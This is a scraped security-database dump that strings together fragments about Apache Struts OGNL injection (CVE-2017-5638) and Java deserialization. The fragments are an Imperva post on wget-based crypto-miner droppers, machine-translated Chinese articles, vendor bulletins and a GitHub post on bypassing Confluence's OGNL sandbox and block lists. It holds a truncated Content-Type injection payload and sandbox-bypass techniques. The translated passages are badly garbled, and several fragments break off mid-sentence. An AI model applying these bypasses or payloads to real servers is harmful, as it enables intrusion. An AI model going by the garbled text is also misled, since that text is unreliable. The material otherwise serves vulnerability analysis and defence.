Jenkins | Yes | CVE-2016-0958 | Adobe Experience Manager | No \nCVE-2017-12149 | Red Hat JBoss | Yes | CVE-2016-0788 | Jenkins | Yes \nCVE-2017-11284 | Adobe ColdFusion | No | CVE-2016-0779 | Apache TomEE | No \nCVE-2017-11283 | Adobe ColdFusion | No | CVE-2016-0714 | Apache Tomcat | No \nCVE-2017-1000353 | CloudBees Jenkins | Yes | CVE-2015-8765 | McAfee ePolicy Orchestrator | No \nCVE-2016-9606 | Resteasy | Yes | CVE-2015-8581 | Apache TomEE | No \nCVE-2016-9299 | Jenkins | Yes | CVE-2015-8545 | NetApp | No \nCVE-2016-8749 | Jackson (JSON) | Yes | CVE-2015-8360 | Atlassian Bamboo | No \nCVE-2016-8744 | Apache Brooklyn | Yes | CVE-2015-8238 | Unify OpenScape | No \nCVE-2016-8735 | Apache Tomcat JMX | Yes | CVE-2015-8237 | Unify OpenScape | No \nCVE-2016-7462 | VMWare vRealize Operations | No | CVE-2015-8103 | Jenkins | Yes \nCVE-2016-6809 | Apache Tika | No | CVE-2015-7501 | Red Hat JBoss | Yes \nCVE-2016-5229 | Atlassian Bamboo | Yes | CVE-2015-7501 | Oracle Application Testing Suite | No \nCVE-2016-5004 | Apache Archiva | Yes | CVE-2015-7450 | IBM Websphere | Yes \nCVE-2016-4385 | HP Network Automation | No | CVE-2015-7253 | Commvault Edge Server | Yes \nCVE-2016-4372 | HP iMC | No | CVE-2015-6934 | VMWare vCenter/vRealize | No \nCVE-2016-3642 | Solarwinds Virtualization Manager | Yes | CVE-2015-6576 | Atlassian Bamboo | No \nCVE-2016-3461 | Oracle MySQL Enterprise Monitor | Yes | CVE-2015-6555 | Symantec Endpoint Protection Manager | Yes \nCVE-2016-3427 | JMX | Yes | CVE-2015-6420 | Cisco (various frameworks) | No \nCVE-2016-3415 | Zimbra Collaboration | No | CVE-2015-5348 | Apache Camel | No \nCVE-2016-2510 | Red Hat JBoss BPM Suite | No | CVE-2015-5254 | Apache ActiveMQ | No \nCVE-2016-2173 | Spring AMPQ | No | CVE-2015-4852 | Oracle WebLogic | Yes \nCVE-2016-2170 | Apache OFBiz | No | CVE-2015-3253 | Jenkins | Yes \nCVE-2016-2003 | HP P9000, XP7 Command View Advanced Edition (CVAE) Suite | No | CVE-2012-4858 | IBM Congnos BI | No \n \n_Figure 3: CVEs related to insecure deserialization_\n\n## Deserialization Attacks in the Wild\n\nMost of the attacks that we saw are related to byte-stream serialization of Java objects. Also, we saw some attacks related to serialization to XML and other formats, see Figure 4.\n\n \n_Figure 4: Distribution of vulnerabilities over different serialization formats_\n\nIn the following attack (see Figure 5) the attacker is trying to exploit CVE-2017-10271. The payload is sent in the HTTP request\u2019s body using a serialized Java object through XML representation.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-containing-serialized-java-array-into-XML-fig-5.png>)\n\n_Figure 5: Attack vector containing a serialized java array into an XML_\n\nThe fact that this is a Java array can be seen by the hierarchical structure of the parameters, with the suffix of **\u201cjava/void/array/void/string\u201d**. The attacker is trying to run a bash script on the attacked server.\n\nThis bash script tries to send an HTTP request using \u201cwget\u201d OS command, download a shell script disguised as a picture file (note the jpg file extension) and run it. Few interesting notes can be made examining this command:\n\n * The existence of shell and \u201cwget\u201d commands indicate that this payload is targeting Linux systems\n * Using a picture file extension is usually done to evade security controls\n * The **\u201c-q\u201d** parameter to \u201cwget\u201d stands for \u201cquiet\u201d, this means that \u201cwget\u201d will have no output to the console, hence it will be harder to note that such a request was even made. Once the downloaded script runs the server is infected with a crypto mining malware trying to mine Monero digital coins (a crypto currency similar to Bitcoin).\n\nThe next script (see Figure 6) tries to exploit the same vulnerability, but this time the payload is targeting Windows servers using cmd.exe and Powershell commands to download the malware and run it.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-infect-Windows-server-with-crypto-mining-malware-fig-6.png>)\n\n_Figure 6: Attack vector trying to infect Windows server with crypto mining malware_\n\nThis indicates that there are two different infection methods for Windows and Linux server, each system with its designated script.\n\nAnother example is the following payload (Figure 7) that we pulled from an attack trying to exploit a [deserialization vulnerability](<http://seclists.org/oss-sec/2016/q1/461>) with a Java serialized object.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-containing-java-serialized-object.jpg>)\n\n_Figure 7: Attack vector containing a Java serialized object trying to download a crypto miner_\n\nThe \u201cbad\u201d encoding is an artifact of Java serialization, where the object is represented in the byte stream.\n\nStill, we can see a script in plain text marked in yellow. Shown as an image below is a variable that defines an internal field separator, where in this case it is just a variable for space. The variable is probably used instead of a space to try to make the payload harder to detect.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/insert-into-paragraph.jpg>)\n\nJust as in the previous examples, this Bash script targets Linux servers that send an HTTP request using \u201cwget\u201d to download a crypto miner.\n\n## Beyond Insecure Deserialization\n\nThe common denominator of the attacks above is that attackers are trying to infect the server with a crypto mining malware by using an insecure deserialization vulnerability. However insecure deserialization is not the only method to achieve this goal.\n\nBelow (Figure 8) we see an example of another attack payload, this time at the \u201cContent-Type\u201d header.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-using-RCE-vulnerability-of-Apache-Struts-fig-8.jpg>)\n\n_Figure 8: Attack vector using an RCE vulnerability of Apache Struts_\n\nThis attack tries to exploit **CVE-2017-5638**, a well-known RCE vulnerability related to Apache Struts which was published in March 2017 and was covered in a [previous blog post](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>).\n\nWhen it was originally published we saw no indications of crypto miners in the attacks\u2019 payloads related to this CVE, and most of the payloads were reconnaissance attacks.\n\nHowever, in this attack the payload (marked in yellow above) is very similar to the payload from the previous example. Using the same remote server and the exact same script, it infected the server with crypto mining malware.\n\nThis old attack method with a new payload suggests a new trend in the cyber arena \u2013 attackers try to exploit RCE vulnerabilities, new and old, to turn vulnerable servers into crypto miners and get a faster ROI for their \u201ceffort\u201d.\n\n## Recommendations\n\nGiven the many new vulnerabilities related to insecure deserialization that were discovered this year, and its appearance in the OWASP top 10 security risks, we expect to see newer related vulnerabilities released in 2018. In the meantime, organizations using affected servers are advised to use the latest patch to mitigate these vulnerabilities.\n\nAn alternative to manual patching is virtual patching. Virtual patching actively protects web applications from attacks, reducing the window of exposure and decreasing the cost of emergency patches and fix cycles.\n\nA WAF that provides virtual patching doesn\u2019t interfere with the normal application workflow, and keeps the site protected while allowing the site owners to control the patching process timeline.\n\nLearn more about how to protect your web applications from vulnerabilities with [Imperva WAF solutions](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>).", "edition": 2, "cvss3": {}, "published": "2018-01-24T17:45:08", "type": "impervablog", "title": "Deserialization Attacks Surge Motivated by Illegal Crypto-mining", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-4858", "CVE-2015-3253", "CVE-2015-4852", "CVE-2015-5254", "CVE-2015-5348", "CVE-2015-6420", "CVE-2015-6555", "CVE-2015-6576", "CVE-2015-6934", "CVE-2015-7253", "CVE-2015-7450", "CVE-2015-7501", "CVE-2015-8103", "CVE-2015-8237", "CVE-2015-8238", "CVE-2015-8360", "CVE-2015-8545", "CVE-2015-8581", "CVE-2015-8765", "CVE-2016-0714", "CVE-2016-0779", "CVE-2016-0788", "CVE-2016-0958", "CVE-2016-1291", "CVE-2016-1487", "CVE-2016-1985", "CVE-2016-1986", "CVE-2016-1997", "CVE-2016-1998", "CVE-2016-1999", "CVE-2016-2000", "CVE-2016-2003", "CVE-2016-2170", "CVE-2016-2173", "CVE-2016-2510", "CVE-2016-3415", "CVE-2016-3427", "CVE-2016-3461", "CVE-2016-3642", "CVE-2016-4372", "CVE-2016-4385", "CVE-2016-5004", "CVE-2016-5229", "CVE-2016-6809", "CVE-2016-7462", "CVE-2016-8735", "CVE-2016-8744", "CVE-2016-8749", "CVE-2016-9299", "CVE-2016-9606", "CVE-2017-1000353", "CVE-2017-10271", "CVE-2017-11283", "CVE-2017-11284", "CVE-2017-12149", "CVE-2017-2608", "CVE-2017-3066", "CVE-2017-3159", "CVE-2017-5586", "CVE-2017-5638", "CVE-2017-5641", "CVE-2017-5645", "CVE-2017-5878", "CVE-2017-7504", "CVE-2017-9805", "CVE-2017-9830", "CVE-2017-9844"], "modified": "2018-01-24T17:45:08", "id": "IMPERVABLOG:4F187FDBA230373382F26BA12E00F8E7", "href": "https://www.imperva.com/blog/2018/01/deserialization-attacks-surge-motivated-by-illegal-crypto-mining/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "checkpoint_advisories": [{"lastseen": "2021-12-17T11:35:20", "description": "A remote code execution vulnerability exists in the Apache Struts2 using Struts1 plugin.

[](/Article/UploadPic/2017-3/2017316104812327. png)\n\nFinally, look at Twitter and Sina Weibo on on S2-045 vulnerability in the first message what time and by whom issued, and the results are shown in the following table. Twitter and Sina microblogging issued the first message is not the same person, but the transmission time difference is not much, visible at home and abroad to exploit the perceptual capacity is relatively quite.\n\nIbid., the times are Beijing time, according to the unix time stamp conversion.\n\nSocial media | time | nickname | real identity\n---|---|---|--- \nTwitter | 2017-03-07 09:29:00 | @amannk | \nSina Weibo | 2017-03-07 09:44:29 | gnaw0725 | nsfocus Brand Manager Wang Yang\n\n**[1] [[2]](<84379_2.htm>) [next](<84379_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-16T00:00:00", "type": "myhack58", "title": "The Struts S2-045 vulnerability heat analysis-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-16T00:00:00", "id": "MYHACK58:62201784379", "href": "http://www.myhack58.com/Article/html/3/62/2017/84379.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-07-10T13:31:12", "description": "0\u00d71 Overview \nMany business websites use the Apache open source project to build a http server, which is most of the use of the Apache sub-project of Struts in.

This is a remote code execution vulnerability, then Internet in a large number of Web applications are affected by this vulnerability. About three weeks later, researchers released the Struts2 exploit code. \nIn a dig before the Investigative process, I came across the following link: \nhttps://svdevems01.direct.gq1.yahoo.com/sm/login.jsp \nThis is Yahoo the a login page. \n! [](/Article/UploadPic/2017-6/201767192643648. png? www. myhack58. com) \nI have tried in this page find the vulnerability, but unfortunately I didn't find until I found the following nodes: \nhttps://svdevems01.direct.gq1.yahoo.com/sm/login/loginpagecontentgrabber.do \nNote: If you find a node address contains. action,. do or. go, then, this indicates that this Web application to run a Struts2 to. \nAs I said before, for the Struts2 vulnerability exploit code has been released, and this vulnerability using the process is also very simple. Although I know here there is vulnerability, but ready-made exploit code here does not work, so I feel may be a Web application firewall in the mischief, or that some of the things shield my attack. \nSince I was able to determine where there is indeed a vulnerability, so I couldn't stop. But if you want to submit a valid vulnerability, I have to provide a viable PoC to prove this vulnerability is valuable. After a period of research, I found an article tweet this article tweet describes how to pass a Payload to bypass the WAF and be successfully exploited this vulnerability. \nI the use of detection methods require the use of Content-Type HTTP header to send a specially crafted data packet, the header data as shown below: \nContent-Type:%{#context[\u2018com. opensymphony. xwork2. dispatcher.

Our examples will be set forth in the Struts of the two critical vulnerabilities: CVE-2017-5638\uff08Equifax information disclosure and CVE-2018-11776\u3002 \nApache Struts is a free open source framework for creating modern Java Web applications. Apache Struts has many serious vulnerabilities, one of its characteristics is to support OGNL object graph navigation language, which is also many loopholes is the main reason. \nOne vulnerability, CVE-2017-5638 directly leads to the 2017 Equifax information leakage, exposure to more than 1. 45 million US citizens personal information. Although the company's annual revenue more than 30 billion dollars, but they still did not escape the Apache Struts MVC framework of a known vulnerability attack. \nThis paper mainly introduces the Apache Struts, and then will guide us how to modify a simple application, the use of OGNL and achieve exploits. Next, we will study in depth the platform on a number of Public Exploit way, and try to use OGNL injection vulnerability. \nAlthough Java developers are familiar with Apache Struts, but the security community often does not do however, which is why we wrote this article for the reason. \nGetting started \nRunning a vulnerable Struts application need to install Apache Tomcat [Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>a). The package of the latest version can be downloaded here as a ZIP. The binary file decompress to a location of your choice we use/var/tomcat, and continues: \ncd /var/tomcat/bin # go to the unzipped folder \nchmod +x *. sh # set the script to executable file \n./ startup.sh # run the startup script \nOur visit to http://localhost:8080/, and check whether the site running. \nAfter the confirmation, we are ready to download the old version of the Apache Struts framework, which is vulnerable to our upcoming demo of the vulnerability attack. This page provides to meet our needs 2. 3. 30 version The Struts in. \nIn the extract compressed content, we should be in the/apps position seen under struts2-showcase. war file. This is one use of the Struts compiled and ready to deploy demo application. Just need the WAR file is copied to/var/tomcat/webapps, and access http://localhost:8080/struts2-showcase/showcase. action confirm whether it is valid. \n[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)the basics \nIf you have a good grasp of the Java Web applications related to simple concepts such as Servlets, then you would have been leading. If you are new to the Java Servlet knows nothing about, it can be understood simply as a component, its purpose is to create for in the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)hosted on Web applications the Web container, in addition, it is also responsible for the processing of the/struts2-showcase and other Java applications request. \nTo the processing Servlet, the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), for example Apache Tomcat requires some Assembly: \n1\\. Apache Coyote is to support the HTTP/1.1 Protocol connector. It allows the Servlet container components of Apache Catalina to communicate. \n2\\. Apache Catalina container when determined in the Tomcat receives an HTTP request, you need to call which the Servlet container. It will also HTTP request and response from the text is converted to a Servlet using a Java object. \n! [](/Article/UploadPic/2019-3/201933032655612. png) \nHere you can find information about the Java Servlet specification for all the details of the latest version 4. 0 in. \nApache Struts basics \nWith Java Web applications using the Apache Struts Framework application can have multiple Servlet. This article's main purpose is not to let everyone understand this to build the Web application framework, but on the surface the hang of the basic concepts. We can step-by-step tutorial on the subject. \nThe Apache Struts framework relies on MVC model-View-Controller architecture pattern. IT application very helpful, because you can separate the main application components: \n1\\. Model: represents the application data, for example, using\u201corders\u201dand other data of the class. \n2\\. View: is the output of the application, the visual part. \n3\\. The controller: receiving a user input, using the model to generate the view. \n4\\. Action Actions: the Apache Struts in the model. \n5\\. Intercept the Interceptors: the part of the controller, they can be in processing the request before or after the invocation of the hook. \n6\\. Value stack/OGNL: a set of objects, for example, model or action object. \n7\\. Result/result type: used to select business logic view. \n8\\. View of technology: the processing of data display. \nYou can see below the Apache Struts Web application General architecture: \n! [](/Article/UploadPic/2019-3/201933032655347.jpg) \nController receives the HTTP request, the FilterDispatcher is responsible for according to the request to invoke the right Operation. And then perform the operation, the view component is ready for a result and sends it to the HTTP response in the user. \nStruts application example \nYou want to start from scratch to write a Struts application takes some time, so we will use an already available rest-showcase demo application, which is a basic front-end a simple REST API. To compile the application, we only need to go into its directory and use Maven to compile: \ncd struts-2.3.30/src/apps/rest-showcase/ \nmvn package \nIn the target directory, we can find the following files: struts2-rest-showcase. war. You can copy it to the Tomcat server's webapps directory, for example:/var/tomcat/webapps to install it. \nThe following is the application source code: \n!

[](/Article/UploadPic/2018-8/2018823153022212.jpg) \n2018 4 months, I to Apache Struts and the Struts security team reported a new remote code execution vulnerability--CVE-2018-11776\uff08S2-057 in to do some configuration on a server running Struts, and can be accessed via the carefully constructed URL to trigger the vulnerability. This discovery is I the Apache Struts ongoing Safety study of part. In this article, I will describe my discovery of a vulnerability and how to exploit the previous vulnerability information to get the Struts internal working of the principle, create a package Struts-specific concept of the QL query. Run these queries will highlight the problematic code results. These works are hosted on GitHub, later we will also to this repository add more query statement and database to help the Struts and other projects of the security research. \n\nMapping the attack surface \nMany security vulnerabilities are addressed from untrusted sources such as user input stream to a particular location of the sink of the data, and the data using an unsafe way-for example, the SQL query, deserialize, and some other interpreted languages, etc., QL can easily search for such vulnerabilities. You just need to describe the various source and sink, and then let the DataFlow library to accomplish these things. For a particular project, began to investigate such issues, a good method is to view the older version of the software known vulnerabilities. This can be in-depth understanding you want to find the source and sink points. \nThis vulnerability discovery process, I first see a RCE vulnerability S2-032\uff08CVE-2016-3081\uff09, S2-033\uff08CVE-2016-3687 and S2-037\uff08CVE-2016-4438-in. With Struts in many other RCE as RCE relates to the untrusted input is converted to OGNL expressions, allowing an attacker on the server to run arbitrary code. These three vulnerabilities are particularly interesting, not only do they let us on the Struts of the internal working mechanism have some understanding, and these three vulnerabilities actually is the same, also repair three back! \nThese three issues are the remote input through the variable methodName as a method of parameter passing caused OgnlUtil::getValue(). \n! [](/Article/UploadPic/2018-8/2018823153022696. png) \nHere the proxy has ActionProxy type, it is an interface. Note that the definition of it, in addition to the method getMethod\uff08\uff09\uff08in the above code is used to assign a value to the variable methodName addition, there are a variety of methods, such as getActionName\uff08\uff09and getNamespace\uff08\uff09\u3002 These methods look like from the URL to return information, so I'll just assume that all of these methods may return untrusted input. The rear of the article I will in depth research I for these the input from where the investigation.\uff09 \nNow use QL to start on these untrusted source modeling: \n! [](/Article/UploadPic/2018-8/2018823153023567. png) \n\nIdentify the OGNL sink point \nNow that we have identified and described some of the non-trusted source, the next step is to sink the point of doing the same thing. As previously mentioned, many of Struts RCE relates to the remote input parsed for OGNL expressions. Struts has many function will eventually be their arguments as OGNL expressions; for we in this article the start of the three vulnerabilities, the use of a OgnlUtil :: getValue \uff08\uff09, but in the vulnerability S2-045\uff08CVE-2017-5638, using TextParseUtil :: translateVariables\uff08\uff09\u3002 We may be looking for execution of OGNL expressions commonly used function, I feel OgnlUtil :: compileAndExecute\uff09and OgnlUtl :: compileAndExecuteMethod\uff08\uff09looks more games. \nMy description: \n! [](/Article/UploadPic/2018-8/2018823153023415. png) \n\nThe first attempt \nNow we have in QL are defined in the source and sink, we can stain the tracking query using these definitions. By defining DataFlow configured to use the DataFlow library: \n! [](/Article/UploadPic/2018-8/2018823153023702. png) \nHere is what I used before defined isActionProxySource and isOgnlSink it. \nNote that I'm here to reload the isAdditionalFlowStep, so that it can allow me to contain the pollution data is propagated to the additional step. Such as allow me to the project-specific information into the flow configuration. For example, if I have by a network of communicating components, I may be in QL as described in those various network-side code is what allows the DataFlow library to track tainted data. \nFor this particular query, I added two additional process steps for the DataFlow library. First: \n! [](/Article/UploadPic/2018-8/2018823153026173. png) \nIt includes tracking the standard Java library calls, string manipulation, etc. of the standard QL TaintTracking library steps. The second Add is an approximate value, allow me to by a field access track tainted data: \n! [](/Article/UploadPic/2018-8/2018823153026186. png) \nThat is if the field is assigned a tainted value, then as long as the two expressions are the same type of method call, the field visit will also be regarded as pollution. See the following example: \n! [](/Article/UploadPic/2018-8/2018823153026144. png) \nSeen from above, the bar in this. field access may not always be contaminated.

These are listed numerically by CVE number not by the last one published.\n\nNote the IBM Java runtime included with WebSphere Application Server provides an execution environment for non-IBM code. While the below table includes all IBM Java vulnerabilities related to the WebSphere Application Server product, there might be additional IBM Java vulnerabilities which impact non-IBM code running in your WebSphere Application Server environment. For a listing of all IBM Java security bulletins, refer to [_IBM Java Security Alerts_](<https://www.ibm.com/developerworks/java/jdk/alerts/>). To determine the Java SDK version used with WebSphere Application Server, refer to the [_Verify Java SDK version shipped with WebSphere Application Server_](<http://www-01.ibm.com/support/docview.wss?rs=180&uid=swg27005002>).\n\nTo avoid preventable security issues, it is recommended that you stay up-to-date on the most current maintenance options for your products. You can also subscribe to the security bulletins for each of your products as provided in this link, [_IBM Security Bulletins_](<http://www.ibm.com/security/secure-engineering/bulletins.html>).\n\nWhen significant updates have been made to security bulletins, it will be noted with the date of the last update in the bulletin columns.\n\nNote: Starting 07/16/2020, the most recent fix published will be added to the top of this list below as well as in numerical order by year.\n\n**Recent CVEs (previous 15 published

CVE-2017-5638**\n\n**Impact of action**: The following example iRule may not apply to all environments. F5 recommends that you modify the iRule in the procedure as needed to work in your application environment. Additionally, adding an iRule increases the resources that the associated virtual server uses. Depending on the type and volume of the connections, this processing may introduce noticeable latency. F5 recommends that you test any such changes in an appropriate environment.\n\nYou can use an iRule to protect web servers behind the BIG-IP virtual server from CVE-2017-5638. To do so, perform the following procedures:\n\n * [Assigning a custom HTTP profile and the default stream profile to a virtual server](<https://support.f5.com/csp/article/K43451236#http_profile>)\n * [Creating an iRule and assigning it to a virtual server to protect web servers from CVE-2017-5638](<https://support.f5.com/csp/article/K43451236#iRule>)\n\n**Assigning a custom HTTP profile and the default stream profile to a virtual server**\n\n 1. Log in to the Configuration utility.\n 2. Navigate to **Local Traffic **>** Profiles **>** Services **>** HTTP**.\n 3. Click **Create**.\n 4. In the **Name** field, type a name for the profile.\n 5. Verify that **Response Chunking** is set to **Selective,** which is the default value.\n 6. Modify any other settings, as needed, then click** Finished **to save your changes.\n 7. Navigate to **Local Traffic **>** Virtual Servers** > **Virtual Server List**.\n 8. Select the virtual server to modify.\n 9. In the **Configuration** box, select **Advanced**.\n 10.

Overview[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#overview>)\n\nObject Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. In the past, OGNL injections led to some serious remote code execution (RCE) vulnerabilities, such as the [Equifax breach](<https://www.synopsys.com/blogs/software-security/equifax-apache-struts-vulnerability-cve-2017-5638/>), and over the years, protection mechanisms and mitigations against OGNL injections have been developed and improved to limit the impact of these vulnerabilities.\n\nIn this blog post, I will describe how I was able to bypass certain OGNL injection protection mechanisms, including the one used by Struts and the one used by Atlassian Confluence. The purpose of this blog post is to share different approaches used when analyzing this kind of protection so they can be used to harden similar systems.\n\nNo new OGNL injections are being reported as part of this research, and unless future OGNL injections are found on the affected frameworks/applications, or known double evaluations affect an existing Struts application, this research does not constitute any immediate risk for Apache Struts or Atlassian Confluence.\n\n## Hello OGNL, my old friend[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#hello-ognl-my-old-friend>)\n\nI have a past history of bugs found in Struts framework, including [CVE-2016-3087](<https://cwiki.apache.org/confluence/display/WW/S2-033>), [CVE-2016-4436](<https://cwiki.apache.org/confluence/display/WW/S2-035>), [CVE-2017-5638](<https://cwiki.apache.org/confluence/display/WW/S2-046>), [CVE-2018-1327](<https://cwiki.apache.org/confluence/display/WW/S2-056>), [CVE-2020-17530](<https://cwiki.apache.org/confluence/display/WW/S2-061>) and even some [double OGNL injections](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>) through both Velocity and FreeMarker tags that remain unfixed to this date. Therefore, I have become familiar with the OGNL sandbox and different escapes over the years and I am still interested in any OGNL-related vulnerabilities that may appear. That was the case with Atlassian Confluence, [CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>) and [CVE-2022-26134](<https://jira.atlassian.com/browse/CONFSERVER-79016>), where the former is an instance of the unresolved double evaluation via Velocity tags mentioned in my [2020 advisory](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>).\n\nMy friend, Man Yue Mo, wrote a [great article](<https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/>) describing how the OGNL mitigations have been evolving over the years and there are few other posts that also describe in detail how these mitigations have been improving.\n\nIn 2020, disabling the sandbox became harder, so I decided to change the approach completely. I introduced new ways to get RCE by circumventing the sandbox, and using the application server\u2019s Instance Manager to instantiate arbitrary objects that I could use to achieve RCE. This research was presented at our Black Hat 2020 talk, [Scribbling outside of template security](<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>). We reported this issue to the Apache Struts team, and they [fixed](<https://github.com/apache/struts/commit/8d3393f09a06ff4a2b6827b6544524d1d6af3c7c>) the issue by using a block list. However, in 2021, Chris McCown published a [new bypass technique](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>) which leverages the OGNL\u2019s AST maps and the Apache Commons Collections BeanMap class.\n\nThat was it\u2013at that point I had enough of OGNL and stopped looking into it until two events happened in the same week:\n\n * My friend, [Mert](<https://twitter.com/mertistaken>), found what he thought was an SSTI in a bug bounty program. It turned out to be an OGNL injection, so he asked me to help him with the exploitation of the issue.\n * I read several tweets claiming that [CVE-2022-26134](<https://jira.atlassian.com/browse/CONFSERVER-79016>) was not vulnerable to RCE on the latest Confluence version (7.18.0 at that time).\n\nOkay, OGNL, my old friend. Here we go again.\n\n## Looking at Confluence `isSafeExpression` protection[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#looking-at-confluence-issafeexpression-protection>)\n\nWhen the CVE-2022-26134 was released there was an initial understanding that the [OGNL injection could not lead to direct RCE in the latest version 7.18.0](<https://twitter.com/httpvoid0x2f/status/1532924239216627712>) since the `isSafeExpression` method was not possible to bypass for that version\n\n\n\nHarsh Jaiswal ([@rootxharsh](<https://twitter.com/rootxharsh>)) and Rahul Maini ([@iamnoooob](<https://twitter.com/iamnoooob>)) took a different approach and looked for a gadget chain in the allowed classes list that could allow them to create an admin account.\n\n\n\nSoon after, [@MCKSysAr](<https://twitter.com/MCKSysAr>) found a [nice and simple bypass](<https://twitter.com/MCKSysAr/status/1533053536430350337>):\n\n 1. Use `Class` property instead of `class` one.\n 2. Use string concatenation to bypass string checks.\n\n \n \n\n\nMCKSysAr\u2019s bypass was soon addressed by blocking the access to the `Class` and `ClassLoader` properties. I had some other ideas, so I decided to take a look at the `isSafeExpression` implementation.\n\nThe first interesting thing I learned was that this method was actually parsing the OGNL expression into its AST form in order to analyze what it does and decide whether it should be allowed to be executed or not. Bye-bye to regexp-based bypasses.\n\nThen the main logic to inspect the parsed tree was the following:\n\n * Starting at the root node of the AST tree, recursively call `containsUnsafeExpression()` on each node of the tree.\n * If the node is an instance of `ASTStaticField`, `ASTCtor` or `ASTAssign` then the expression is deemed to be unsafe. This will prevent payloads using the following vectors: \n * Static field accesses\n * Constructors calls\n * Variable assignments\n * If the node is an `ASTStaticMethod` check that the class the method belongs to is in an allow list containing: \n * `net.sf.hibernate.proxy.HibernateProxy`\n * `java.lang.reflect.Proxy`\n * `net.java.ao.EntityProxyAccessor`\n * `net.java.ao.RawEntity`\n * `net.sf.cglib.proxy.Factory`\n * `java.io.ObjectInputValidation`\n * `net.java.ao.Entity`\n * `com.atlassian.confluence.util.GeneralUtil`\n * `java.io.Serializable`\n * If node is an `ASTProperty` checks block list containing (after the initial fix): \n * `class`\n * `Class`\n * `classLoader`\n * `ClassLoader`\n * If the property looks like a class name, check if the class's namespace is defined in the `unsafePackageNames` block list (too long to list here).\n * If node is an `ASTMethod`, check if we are calling `getClass` or `getClassLoader`.\n * If node is an `ASTVarRef`, check if the variable name is in `UNSAFE_VARIABLE_NAMES` block list: \n * `#application`\n * `#parameters`\n * `#request`\n * `#session`\n * `#_memberAccess`\n * `#context`\n * `#attr`\n * If node in an `ASTConst` (eg: a string literal), call `isSafeExpressionInternal` which will check the string against a block list (for example, harmful class names) and, in addition, it will parse the string literal as an OGNL expression and apply the `containsUnsafeExpression()` recursive checks on it.\n * If a node has children, repeat the process for the children.\n\nThis is a pretty comprehensive control since it parses the AST recursively and makes sure that any AST nodes considered harmful are either rejected or inspected further.\n\nMCKSysAr bypass was based on two things: A) `Class` and `ClassLoader` properties were not accounted for when inspecting `ASTProperty` nodes; and B) `\u201djava.lang.\u201d + \u201cRuntime\u201d` was parsed as an `ASTAdd` node with two `ASTConst` children. None of them matched any of the known harmful strings and when parsed as an OGNL expression, none of them were valid expressions so they were not parsed further. A) Was fixed quickly by disallowing access to `Class` and `ClassLoader` properties, but B) was not fixed since it was considered as a security in-depth control (it's impossible to analyze all variants in which a malicious string could be written).\n\nWith that in mind I took a look at the[ list of the OGNL AST nodes](<https://github.com/orphan-oss/ognl/tree/master/src/main/java/ognl>) to see if there was anything interesting that was not accounted for in the `isSafeExpression()` method.\n\n### Enter `ASTEval`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#enter-asteval>)\n\nThe first one that got my attention was `ASTEval`. It looked very interesting and it was not accounted for by the `containsUnsafeExpression()` method.\n\n`ASTEval` are nodes in the form of `(expr)(root)` and they will parse the `expr` string into a new AST and evaluate it with `root` as its root node. This will allow us to provide an OGNL 